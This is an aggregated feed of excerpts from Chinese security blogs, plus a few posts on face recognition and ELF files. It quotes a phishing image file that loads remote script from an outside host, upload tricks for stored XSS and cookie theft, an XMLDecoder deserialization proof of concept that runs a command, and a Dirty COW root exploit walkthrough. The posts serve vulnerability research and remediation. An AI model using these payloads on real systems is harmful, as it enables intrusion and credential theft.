当前节点:rss
时间节点
2020-12-17 18:26:04pirogue
事件背景安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面,被黑产人员用作钓鱼攻击。攻击案例酷狗钓鱼链接:http://userphoto.bssdl.kugou.com/70296bbe6e02223af1cfb952b2eefcb3.jpg#1519721124069实际上攻击者上传了一个内容为<scriptsrc=//55555.gz.bcebos.com/mjk.js?111></script>的后缀为jpg的文件,当用户打开原本是图片的网址,会被浏览器渲染成js最终的展示效果,包括一些列的鼠标事件和跳转。漏洞分析网易对象存储中提到“文件的 MIME,定义文件的类型及网页编码,决定浏览器将以什么形式、什么编码读取文件。如果用户没有指定则根据 Key 或文件名的扩展名生成,如果没有扩展名则填默认值”以163站点为例http://new.hi.163.com/#/setting/step1 ,163新闻讨论站点上传头像地址。攻击步骤:0x01:无论我们上传什么类型后缀的文件,只要截获上传数据包,将content-type类型修改为“text/html”:0x02:打开上传后的文件地址:http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892发现content-type为我们上传时设置的text/html,发现原本的图片,已经把内容当做html进行渲染。攻击者可通过自定义上传content-type类型,进行xss或者钓鱼攻击。修复方案业务研发方:在使用对象存储时,根据业务需要在服务端先校验文件后缀类型,再校验Content-Type是否属与此后缀类型相匹配;云储存方:文件后缀类型与文件MIME强关联,一一对应,例如禁止jpeg后缀的文件MIME变成text/html。写在最后    在几个月前我就在博客中有写到一篇《阿里云OSS约等于文件上传漏洞?》的文章,其中就提到了任意文件上传导致xss漏洞,当时只是发现了现象,并没有对oss云存储的形成漏洞的原因进一步测试总结。    现在来看除了用户使用上要严格校验上传文件类型外,OSS文件存储是否也应该在设计上避免“因
2020-12-17 18:26:04pirogue
Jackson漏洞历史(CVE-2017-7525)北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。Jackson是一个开源的Java序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/漏洞触发链getOutputProperties()->newTransFormer()→newInstance()构造方式通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。官方修复方式官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。黑名单如下:12345678org.apache.commons.collections.functors.InvokerTransformerorg.apache.commons.collections.functors.InstantiateTransformerorg.apache.commons.collections4.functors.InvokerTransformerorg.apache.commons.collections4.functors.InstantiateTransformerorg.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.
2020-12-17 18:26:04pirogue
XMLDecoder反序列化漏洞老外的详细利用文章:http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html国内的demo:http://blog.51cto.com/duallay/1961598poc xml文件:1234567891011<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_131" class="java.beans.XMLDecoder">    <object class="java.lang.ProcessBuilder">        <array class="java.lang.String" length="1">            <void index="0">                <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>            </void>        </array>        <void method="start" />    </object></java>读取xml文件,进行反序列化执行命令代码:1234567891011121314151617181920212223import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileNotFoundException;public class xmlrce {    public static void main(String[] args) {        // TODO Auto-generated method stub        java.io.File 
2020-12-17 18:26:04pirogue
python回调函数demo下面的demo是根据需求写的简单测试脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#!/usr/bin/env python# coding: utf-8# 第一个列表为依赖组件和版本号,后面紧跟负责人名称# 接着出现第二个依赖组件列表,负责人为空了# 所以根据需求需要对组件、版本号、负责人进行不同处理# 这时在for循环中根据if判断,写回调函数处理# 格式不一致数据的测试数据a = [[u'tool-1', u'1.9.13'], u'xiaowang', u'xiaoqu', [u'tool-2', u'1.9.23'], [u'tool-3', u'1.9.33'], [u'tool-4', u'1.9.43'], u'pi',[u'tool-5', u'1.9.53']]# a = [[u'tool-1', u'1.9.13'],u'xiaowang',[u'tool-2', u'1.9.23'],u'xiaowang', [u'tool-3', u'1.9.33'],u'xiaowang']# a = [[u'tool-1', u'1.9.13']]# [u'tool-1', u'1.9.13']your_pro = a[0]# print your_pro# [u'xiaowang', u'xiaoqu', [u'tool-2', u'1.9.23']]tmp = a[1:]# print tmpdef git_callback(whole_v, proj_value, name_value):    # 如果存在负责人存在    try:        if type(name_value[0]) is unicode:            # 对除去列表0个索引的数据(依赖名和版本号)后面的数据进行遍历            for i in name_value:                # 碰到后面的数据是列表的进行回调                if type(i) is list:                    tmp_index = whole_v.index(
2020-12-17 18:26:04pirogue
java序列化与反序列化定义序列化就是把对象的转换成字节流,便于保存在内存、文件、数据库中(即便于存储或传输)过程;反序列化即逆过程,又字节流还原成对象。 Java中api实现序列化:java.io.ObjectOutputStream类的writeObject()方法可以实现序列化;反序列化:java.io.ObjectInputStream类的readObject()方法用于实现反序列化。将字符串对象“中国”进行序列化存储到本地“test.ser”文件,然后再通过反序列化进行恢复打印输出的样例代码:12345678910111213141516171819202122232425262728293031323334package serialize;import java.io.*;/*import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.FileOutputStream;import java.io.FileInputStream;*/public class javaApiSerialize {public static void main(String args[]) throws Exception{String obj = "中国";// 将序列化对象写入test.ser文件中FileOutputStream fos = new FileOutputStream("test.ser");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(obj);os.close();System.out.println("序列化完成");// 从文件test.ser中读取数据FileInputStream fis = new FileInputStream("test.ser");ObjectInputStream ois = new ObjectInputStream(fis);//System.out.println(ois.getClass().getName());System.out.println(ois);// 通过反序列化恢复对象objString obj2 = (String)ois.r
2020-12-17 18:26:04pirogue
首先声明这是一篇标题党的文章,阿里云OSS不被这个锅,锅其实还是在企业或者说是用户。前言之所以要写这篇口水文,是因为最近在检测自家公司产品时发现存在这个问题,同时不久在测试某src的某系统时也存在类似这种问题,所以个人认为还是要提高一些警惕,让开发或测试者尽量消除不必要的麻烦,不要错误的认为文件托管在oss就可以忽略站内的上传功能存在的安全隐患。概述首先借用阿里云oss首页的介绍性文字来解释下oss是什么:1海量、安全、低成本、高可靠的云存储服务,提供99.99999999%的数据可靠性。使用RESTful API 可以在互联网任何位置存储和访问,容量和处理能力弹性扩展,多种存储类型供选择全面优化存储成本。简单可以理解为企业自身的文件存储服务器。问题出在站点的上传功能,存在任意文件上传,但因为上传到的是oss或文件存储服务器,所以不论是什么类型的脚本都是不解析的,访问会直接下载回来,那作为开发者会高枕无忧了吗?然并卵,我还可以上传一个内容存在xss payload的hack.html的文件,服务器便会静态文件进行解析;重点来了,可能企业在使用oss服务时,使用的域名是img-oss.yourcompanydomain.com,而在你公司的sso或产品为了跨域在开发时set-cookie:*.yourcompanydomain.com,那攻击者就可以拿着img-oss.yourcompanydomain.com/hack.html找对应的场景或发给公司的员工,打开后cookie可能就被“借”走了。总结两点:任意文件上传;站点可以跨域你看不见我~文末我准备追加一种姿势案例复现案例一:0x01:set-cookie 0x02:文件上传,前端验证先上传图片,然后通过bp抓包,修改后缀为html,进行上传  访问即可打印弹出cookie案例二:0x01:某src在上传文件时不仅会校验文件后缀,在后端也会校验文件头 0x02: 绕过上传  上传后的response  html上传成功,发现其setcookie也是该业务系统全域名的,但使用的oss服务是阿里的oss相关域名isvstore.oss-cn-hangzhou.aliyuncs.com,不是使用其业务系统的域名,这样这两个域名之间是不能相互跨域的,但aliyuncs.com这个域名如果有业务系统,可能也会被利用。但在我测试过之后发现aliyuncs.com这个域名没
2020-12-17 18:26:04pirogue
漏洞编号CVE-2016-5195漏洞名称脏牛(Dirty COW)风险等级高漏洞危害黑客可以通过远程入侵获取低权限用户shell后,然后利用该漏洞在全版本Linux系统上实现本地提权,从而获取服务器root权限。 漏洞利用条件黑客可以通过远程入侵获取低权限用户shell后, 才能进一步利用该漏洞。 漏洞影响范围根据Linux内核官方评估自2007年来发行的 >=2.6.22的内核版本全部受影响。漏洞验证我们先通过一个低权限用户meicai登录,通过rz上传一个cowroot二进制漏洞利用程序;给cowroot执行权限后执行,发现自动提升到root权限。  请不要在生产环境通过漏洞利用程序测试此漏洞,可能造成系统卡死。为防止系统卡死可执行echo 0 > /proc/sys/vm/dirty_writeback_centisecs ,关闭pdflush刷新。 漏洞验证poc为防止漏洞利用程序造成的危害,我特意编写了一个可以验证漏洞是否存在的python脚本,执行过后可检测系统是否存在漏洞。请执行3次左右,防止漏报情况。 存在漏洞:  不存在漏洞: 漏洞修复 Ubuntu 内核升级: 1、查看是否有最新更新包: dpkg -l  | grep linux2、更新列表:apt-get update 或apt update3、升级:Ubuntu12.04版本:apt-get install linux-genericUbuntu14.04版本:apt-get upgrade或apt  upgrade4、reboot重启服务器 注意:机器上在做了上述升级后还会存在漏洞未修复! 系统提示我们正在使用的版本安全更新只到2016-08-04这一天,所以官方给出两种解决办法:升级Ubuntu 14.04 LTS 到 Ubuntu 16.04 LTS:sudo do-release-upgrade或者切换到当前受社区安全支持的内核小版本升级:sudo apt-get install linux-image-generic-lts-xenial linux-generic-lts-xenial12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626
2020-12-17 18:26:04pirogue
起因甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。背景公司使用coremail搭建企业邮箱,开发做了一个通过邮件发送html报表的周报,但在此邮件内有链接地址。邮箱的域名是a.com,而报表中的链接是b.com,当用户打开a.com内的报表邮件,点击其中的链接;因为邮件的内容是通过iframe来加载html报表,同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以,点击链接虽然可以跳转到b.com,但b.com页面有js脚本,sandbox不允许执行脚本(allow-scripts),会导致新打开的链接不会加载脚本执行,效果当然也不是开发想要的效果了。当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。被src拒绝的“逻辑漏洞”于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。现有的逻辑如下:  https://www.lagou.com 不放行(因为https,非白名单)  www.lagou.com 不放行(不带有http,非白名单)  http://xss.pirogue.org 不放行(非白名单)  等等其他域名都不放行。但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址
2020-12-17 18:26:04pirogue
WAZUH架构图分布式单台部署Install Wazuh server添加CentOS wazuh源123456789$ cat > /etc/yum.repos.d/wazuh.repo <<\EOF[wazuh_repo]gpgcheck=1gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUHenabled=1name=CentOS-$releasever - Wazuhbaseurl=https://packages.wazuh.com/yum/el/$releasever/$basearchprotect=1EOF安装Wazuh-manager1$ yum install wazuh-manager查看Wazuh运行状态123456789[root@localhost init.d]# service wazuh-manager statusossec-monitord is running...ossec-logcollector is running...ossec-remoted is running...ossec-syscheckd is running...ossec-analysisd is running...ossec-maild not running...ossec-execd is running...wazuh-modulesd is running...安装Wazuh API安装NodeJS[root@localhost opt]# curl –silent –location https://rpm.nodesource.com/setup_6.x | bash -1234567891011121314151617181920212223242526272829303132## Installing the NodeSource Node.js 6.x repo...## Inspecting system...+ rpm -q --whatprovides redhat-release || rpm -q --whatprovides centos-release || rpm -q --whatprovides cloudlinux-release || rpm -q --whatprovides sl-
2020-12-17 18:26:04pirogue
一、跟踪系统调用1. strace bash test.sh123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271root@Kali:~/pirogue/reverse_shell# strace bash test.sh execve("/bin/bash", ["bash", "test.sh"], [/* 50 vars */]) = 0brk(NULL)                               = 0x7a2000access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)mmap
2020-12-14 17:31:19tyler_download的专栏
上一节我们了解了PNET的基本原理,本节看看如何生成PNET需要的训练数据。总体而言我们需要产生两部分数据,一部分图片里面包含人脸,另一部分不包含人脸。这里的“包含”或“不包含”并不是指图片中完全没有人脸,而是图片中人脸占据的比率超过一定的阈值时就可以认为给定图片包含人脸。
算法会设定三个阈值,当人脸在图片区域占据比率不超过30%,那么认为图片不包含人脸。如果超过30%但是不到45%,那么图片属于“中性”,当人脸占据区域超过65%则断定图片内含有人脸。训练使用的数据集为WIDERFace,该数据集不但包含了                    
                        作者:tyler_download 发表于 2020/12/14 17:20:49 原文链接 https://blog.csdn.net/tyler_download/article/details/111175749                    
                    
                        阅读:4708 评论:4 查看评论
2020-12-14 15:08:46MSRC Blog
Note: we are updating as the investigation continues. Revision history listed at the bottom. This post contains technical details about the methods of the actor we believe was involved in Recent Nation-State Cyber Attacks, with the goal to enable the broader security community to hunt for activity in their networks and contribute to a shared …  Customer Guidance on Recent Nation-State Cyber Attacks Read More »
2020-12-13 22:27:44小草窝博客
只允许64位的ELF可执行程序,总共有三个赛道,x86-64,arm64,mips64。不太熟悉汇编,三个赛道基本上都是用gcc来完成,辅助少量的汇编代码修改。 最终成绩 x86-64 472字节 第15名 arm64 816字节 第8名 阅读全文>>
2020-12-12 17:21:40tyler_download的专栏
前面章节我们了解了ELF文件的头部结构,这次我们深入了解另一个非常重要的数据结构,那就是程序表头。操作系统严重依赖该结构来加载ELF文件或是实现动态链接。程序表头反映的是当ELF加载到内存后所形成的“视图”或结构,也就是说ELF文件存在硬盘上或者被加载到内存,它展现出来的形态不一致。
我们先看程序表头的数据结构:
typedef  struct {
    unit32_t  p_type;    #数据类型
    uint332_t  p_flags; #标志位
    uint64_t  p_offs                    
                        作者:tyler_download 发表于 2020/12/12 17:09:15 原文链接 https://blog.csdn.net/tyler_download/article/details/110955302                    
                    
                        阅读:4107 评论:5 查看评论
2020-12-09 17:49:48王登科-DK博客
2020-12-09 02:09:02MSRC Blog
Hi Folks,   We want to continue to highlight changes we’ve made to our Security Update Guide. We have received a lot of feedback, much of which has been very positive. We acknowledge there have been some stability problems and we are actively working through reports of older browsers not being able to run the new application. We really appreciate your feedback as we review these issues.  …  Security Update Guide: Let’s keep the conversation going Read More »
2020-12-08 11:07:37tyler_download的专栏
最近耗费了巨大的心思为客户设计了人脸识别系统。这是我第一次利用人工智能技术为客户和自己产生收益。虽说人脸识别技术到目前为止已经非常成熟,但从“知行合一”的角度而言,很多人并没有真正掌握其根本原理,之所以有这个结论是因为,我相信绝大多数技术工作者自己无法通过编码来实现一套可商用的人脸识别系统,对技术而言,你做不到就等于你不懂。
如果你在网上搜索人脸识别,你会得到很多链接和文章。此类技术文章知乎上很多,在我看来那全都是假把式。那些人把原理”介绍“得头头是道但却根本没有给出一行代码,因此在我看来那些技术文章“装逼                    
                        作者:tyler_download 发表于 2020/12/07 17:07:24 原文链接 https://blog.csdn.net/tyler_download/article/details/110822720                    
                    
                        阅读:1172
2020-12-07 17:26:46tyler_download的专栏
最近耗费了巨大的心思为客户设计了人脸识别系统。这是我第一次利用人工智能技术为客户和自己产生收益。虽说人脸识别技术到目前为止已经非常成熟,但从“知行合一”的角度而言,很多人并没有真正掌握其根本原理,之所以有这个结论是因为,我相信绝大多数技术工作者自己无法通过编码来实现一套可商用的人脸识别系统,对技术而言,你做不到就等于你不懂。
如果你在网上搜索人脸识别,你会得到很多链接和文章。此类技术文章知乎上很多,在我看来那全都是假把式。那些人把原理”介绍“得头头是道但却根本没有给出一行代码,因此在我看来那些技术文章“装逼                    
                        作者:tyler_download 发表于 2020/12/07 17:07:24 原文链接 http://blog.csdn.net/tyler_download/article/details/110822720                    
                    
                        阅读:43
2020-12-06 15:26:08PansLabyrinth
玩过安卓的朋友应该都对 root 这个名词不陌生,曾几何时,一台 root 过的手机是发烧友标配;对于开发者来说,root 后的手机是黑灰产外挂的温床,是想要极力避免和打击的目标;而对于安全研究人员来说,root 则意味着更多 —— Towelroot、PingPongRoot、DirtyC0w、ReVent,那些有趣的漏洞和精妙的利用,承载了不少的汗水和回忆。
本文不会深入 Android 的 Root 漏洞利用细节,而是更多从生态出发,来聊聊 root 相关的访问控制原理和机制。
Root 的本质
在 Android 应用安全中,经常能看到所谓的 root 检测 方案,主要用于评估客户端的安全性,以及检测用户潜在的可疑危险行为,比如 Hook、调试、群控等。这些检测,更多是基于特征,比如是否存在su文件,某些属性是否存在,……这实际上是一种偷懒取巧的做法,所谓的 root,实际上就是高权限的用户,可以做到普通权限所做不到的事。因此 root 检测本质上是个伪命题 —— 低权限无法违抗高权限,这是由系统设计决定的。
这里的 root,一般是指 Linux 中的的超级用户,拥有系统最高的执行权限,相当于 Windows 中的 Administrator。不过在现代操作系统的权限划分中,早已不再是这种基于用户的粗犷式管理,我们也只是沿用这个代称。有时在系统中明明已经是 root 了,可还是 Permission Denied,如果不清楚这背后的机理,就很容易抓破脑袋。
用一句话来说,所谓 root 的本质,就是 当前任务访问系统资源的能力。
为什么这么说呢?考虑我们在系统中执行下面的这条命令:
cat /etc/passwd
直观来看,是输出某个文件的内容;准确一点说,是当前用户运行了可执行文件/bin/cat,并且新生成一个子进程,在该进程中读取了/etc/passwd文件。在 Linux 操作系统中,进程 是为了地址空间隔离而设计的,不同进程之间的虚拟空间互相隔离,所以 A 进程访问 0x08000000 地址不会影响 B 进程中的相同地址,因为它们实际映射到了不同的物理空间。线程 则是计算机 CPU 对程序进行调度的最小单位,在一般的实时操作系统中,这个单位也称为 任务(task)。
对于 CPU 而言,它的工作就是取址、译码、访存、执行、写回,一直循环直到出错或停止,其本身只有无状态的寄存器,而操作系统想要
2020-12-06 03:04:47Swing'Blog
CVE-2020-0796 SMBv3 漏洞分析3月13日 凌晨左右 ,微软放了这个漏洞的补丁…所以稍微分析一下他的补丁Bindiff通过 bindiff 比较发现一个函数,且名字也蛮可疑的..这个函数名叫 Srv2DecompressData 实际上和漏洞描述其实也差不多..似乎是加了检查..我们 打开IDA来比对一下 两者的差别..补丁左边是有漏洞的版本,右边是 Patch 后的版本 .. 比对了一下发现似乎增加了一个检查..尤其是增加的一个叫RtlULongAdd 的函数..1RtlULongAdd(ULONG ulAugend, ULONG ulAddend, ULONG *pulResult)该函数的参数是 两个似乎 recve 的数据 以及一个变量..1234567891011121314NTSTATUS __stdcall RtlULongAdd(ULONG ulAugend, ULONG ulAddend, ULONG *pulResult){  ULONG v3; // eax  ULONG v4; // edx  NTSTATUS result; // eax  v3 = ulAugend + ulAddend;  v4 = -1;  if ( v3 >= ulAugend )    v4 = v3;  result = v3 < ulAugend ? 0xC0000095 : 0;  *pulResult = v4;  return result;}看了一下这个  判断了  ulAugend + ulAddend 相加后的和是否小于其中一个 加数..如果是则将其中一个赋值给返回值..从这里大概能初步判断是个什么漏洞了..基本能猜测是个  整型溢出..漏洞我们来看一下未打补丁的版本…看了一下..这里是将原本个值直接相加,并没有进行checkl… 然后分配内存..如果有问题 …应该是这里分配的内存太小..导致后续的缓冲区溢出吧?由于我对这两个值不是很熟悉..所以这个时候开始查资料..这个时候发现已经有人发文了…参考链接最后贴后面..可以知道的是..这里的值一个是 OriginalCompressedSegmentSize  一个是 Offset/Length,他们 描述如下:OriginalCompressedSegmentSize (4 bytes) The s
2020-12-06 01:45:09Swing'Blog
CVE-2020-15257(Docker 容器逃逸)前言2020/11/30,公开了 CVE-2020-15257 的细节。该漏洞影响 containerd 1.3.x, 1.2.x, 1.4.x 版本由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host 的时候,通过 ontainerd-shim API  可以达成容器逃逸的目的ontainerd-shim在进一步了解漏洞原理之前, 我们需要了解一下啊 ontainerd-shim 是什么?在 1.11 版本中,Docker 进行了重大的重构,由单一的 Docker Daemon,拆分成了 4 个独立的模块:Docker Daemon、containerd、containerd-shim、runC其中,containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。containerd 还提供了可用于与其交互的 API 和客户端应用程序 ctr。所以实际上,即使不运行 Docker Daemon,也能够直接通过 containerd 来运行、管理容器。​    而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd关于 containerd-shim 的作用细节可以参考作者的 slide最终 ** containerd-shim ** 创建的容器的操作其实还是落实到了 runc 上, 而众所周知runC 是一个根据 OCI (Open Container In
2020-12-05 23:07:40一个安全研究员
看了下日期,距我上一次在这里发文已经过去24天了
不发文绝对不是因为我是懒????奥
你们听我狡辩
其实这事儿主要还是得怪川宝????????大选落败
你说建国好好的一个美国总统怎么说没就没了呢
这事儿对我的打击实在是太大了
我高兴沮丧得整宿整宿睡不着觉
等我好不容易从这事儿中缓过来
我又发现本已销声匿迹的浑元形意太极门☯️掌门人马保国又在江湖上掀起了腥风血雨
没有花里胡哨的功法,他凭借着一套闪电五连鞭直接霸占B站热门一个月
只要一打开B站就可以看到他那张大脸
鬼畜、仿妆、舞蹈以及模仿秀
真是快给我整???                    
                        作者:he_and 发表于 2020/11/29 17:09:12 原文链接 http://blog.csdn.net/he_and/article/details/110310271                    
                    
                        阅读:222
2020-12-05 23:07:40一个安全研究员
嗨,兄弟们,周末好呀
又到了每周一度的吹牛时间
今天北京的天气还不错,就是有点风
啊,不对,这风可不小
论风
风,好像是北方平原地区的一个标志
在四川,如果说风是远道而来的客人
那么在北京,风就是住你对门儿的邻居
保不准哪一天你一开门,就和他撞个满怀
北方的风啊
真是个让人又爱又恨的家伙
在晴天,他是一个拙劣的画家,他画不出云朵,只是给天空涂上简单的蓝色
什么是万里无云呀,北方的晴天就是
什么是风和日丽呀,北方的晴天就是
可是到了雨天,风就成了共犯,他裹挟着雨滴,无情的砸向地面,让北方的雨变得更加凶残
虽说                    
                        作者:he_and 发表于 2020/11/01 20:07:10 原文链接 http://blog.csdn.net/he_and/article/details/109431328                    
                    
                        阅读:284 评论:2 查看评论
2020-12-05 23:07:39一个安全研究员
嗨呀,好久没写文章了呀,最近看到一篇不错的文章,漏洞挖掘思路很是值得学习
苦于原文是英文的,为了方便大家阅读,我索性给它翻译翻译…

目标站点为他们的API实现了一个API控制台,使用此控制台发出的请求是从服务器端完成的。 以下面的请求为例。

上图中的请求发出后,服务端会向https://api.vimeo.com/users/{user_id}/videos/{video_id}接口发送请求
除此之外,我们还能控制很多参数,你仔细看看上图中的参数
uri参数可以控制服务端请求的接口,在上图中我们让服务端                    
                        作者:he_and 发表于 2020/10/28 20:49:28 原文链接 http://blog.csdn.net/he_and/article/details/109322009                    
                    
                        阅读:209 评论:2 查看评论
2020-12-05 23:07:39一个安全研究员
这是前几天一位读者朋友发来的
发完这几句话,他就告诉我他要去军训了,可能30号回来
所以我也没急着回复他
说实话,看到他的留言,我还是有点想法的
因为迷茫、穷这两个字实在是太戳眼了????
特别是穷
之前也有很多读者和我聊天,他们也会说他们很迷茫
但是他们不会说他们穷
可以看得出来,小伙儿可能是真的和我一样穷????
但是这个咱们聊不了,穷可太难解决了
我们可以聊一聊怎么解决迷茫
迷茫是啥?
在我看来,迷茫就是不知道做什么或者怎么做?
前者是一个选择题,后者则是一个问答题
我该做什么?
根据这位读者给出的信                    
                        作者:he_and 发表于 2020/10/19 09:32:08 原文链接 http://blog.csdn.net/he_and/article/details/109142466                    
                    
                        阅读:212 评论:4 查看评论
2020-12-05 23:07:39一个安全研究员
补充一点                    
                        作者:he_and 发表于 2020/09/22 08:49:45 原文链接 http://blog.csdn.net/he_and/article/details/108723542                    
                    
                        阅读:239
2020-12-05 23:07:39一个安全研究员
非技术,只是聊聊体悟                    
                        作者:he_and 发表于 2020/09/21 09:25:31 原文链接 http://blog.csdn.net/he_and/article/details/108702758                    
                    
                        阅读:1205 评论:3 查看评论
2020-12-05 23:07:39一个安全研究员
累                    
                        作者:he_and 发表于 2020/09/21 09:19:15 原文链接 http://blog.csdn.net/he_and/article/details/108684623                    
                    
                        阅读:263
2020-12-05 23:07:39一个安全研究员
js中有很多东西呀                    
                        作者:he_and 发表于 2020/09/11 09:17:46 原文链接 http://blog.csdn.net/he_and/article/details/108527323                    
                    
                        阅读:479 评论:6 查看评论
2020-12-05 23:07:39一个安全研究员
????                    
                        作者:he_and 发表于 2020/09/10 20:19:40 原文链接 http://blog.csdn.net/he_and/article/details/108522102                    
                    
                        阅读:279
2020-12-05 23:07:39一个安全研究员
新姿势get~                    
                        作者:he_and 发表于 2020/09/02 09:00:31 原文链接 http://blog.csdn.net/he_and/article/details/108355229                    
                    
                        阅读:325
2020-12-05 23:07:39一个安全研究员
用了都说好                    
                        作者:he_and 发表于 2020/09/01 08:44:06 原文链接 http://blog.csdn.net/he_and/article/details/108333604                    
                    
                        阅读:583
2020-12-05 23:07:39一个安全研究员
最近一直在挖CORS配置错误这个问题,但是还没找到像样的案例,就先归纳一下这个漏洞,顺便记录一下学到的新姿势,希望对大家有所帮助
在阅读本文之前,你应该已经知道什么是CORS了,以及CORS配置错误会带来的安全问题,当然不懂也没关系,我用几句话简单给大家描述下这个问题。
CORS基础
CORS的全称是跨域资源访问,我们都知道同源策略(SOP)限制了我们的浏览器跨域读取资源,但是我们在设计开发一些网站的时候,本来就需要跨域读取数据,但是因为有同源策略的存在,我们要跨域就太麻烦了,所以cors应运而生,这个策.                    
                        作者:he_and 发表于 2020/08/24 08:58:04 原文链接 http://blog.csdn.net/he_and/article/details/108192621                    
                    
                        阅读:310 评论:2 查看评论
2020-12-05 23:07:39一个安全研究员
也就码了一天                    
                        作者:he_and 发表于 2020/08/10 20:18:47 原文链接 http://blog.csdn.net/he_and/article/details/107921141                    
                    
                        阅读:319
2020-12-05 23:07:39一个安全研究员
就是有点费劲~                    
                        作者:he_and 发表于 2020/08/08 23:22:58 原文链接 http://blog.csdn.net/he_and/article/details/107886361                    
                    
                        阅读:183
2020-12-05 23:07:39一个安全研究员
现在就是非常后悔                    
                        作者:he_and 发表于 2020/08/08 13:09:00 原文链接 http://blog.csdn.net/he_and/article/details/107806164                    
                    
                        阅读:300
2020-12-05 23:07:39一个安全研究员
多次跳转导致的ssrf                    
                        作者:he_and 发表于 2020/08/04 07:57:57 原文链接 http://blog.csdn.net/he_and/article/details/107778105                    
                    
                        阅读:3081
2020-12-05 23:07:39一个安全研究员
来挖洞                    
                        作者:he_and 发表于 2020/08/02 15:58:25 原文链接 http://blog.csdn.net/he_and/article/details/107746034                    
                    
                        阅读:223
2020-12-05 23:07:39一个安全研究员
解锁新姿势                    
                        作者:he_and 发表于 2020/07/24 19:51:37 原文链接 http://blog.csdn.net/he_and/article/details/107568434                    
                    
                        阅读:209
2020-12-05 23:07:39一个安全研究员
本文主要记录在复现分析本漏洞时候遇到的问题及解决思路,希望能够帮到大家                    
                        作者:he_and 发表于 2020/07/15 14:21:57 原文链接 http://blog.csdn.net/he_and/article/details/107359777                    
                    
                        阅读:1027 评论:3 查看评论
2020-12-05 23:07:39一个安全研究员
XMLDecoder反序列化基础                    
                        作者:he_and 发表于 2020/07/09 07:16:41 原文链接 http://blog.csdn.net/he_and/article/details/107219395                    
                    
                        阅读:189
2020-12-05 23:07:39tyler_download的专栏
上一节我们看到,当程序想调用系统函数时,在编译阶段无法确认被调用函数所在的虚拟地址。因此必须有机制让程序在运行过程中,在调用系统API的时候有办法去确定所调用的系统函数对应的入口地址,这...                    
                        作者:tyler_download 发表于 2020/11/20 09:00:00 原文链接 http://blog.csdn.net/tyler_download/article/details/109882047                    
                    
                        阅读:54 评论:1 查看评论
2020-12-05 23:07:39tyler_download的专栏
可执行文件的数据结构通常都很复杂和繁琐。原因在于程序在加载到内存中执行时需要经过一系列非常复杂的步骤。例如要计算数据或代码被加载到虚拟内存时的位置,计算重定向数值,实现不同代码的链接等。
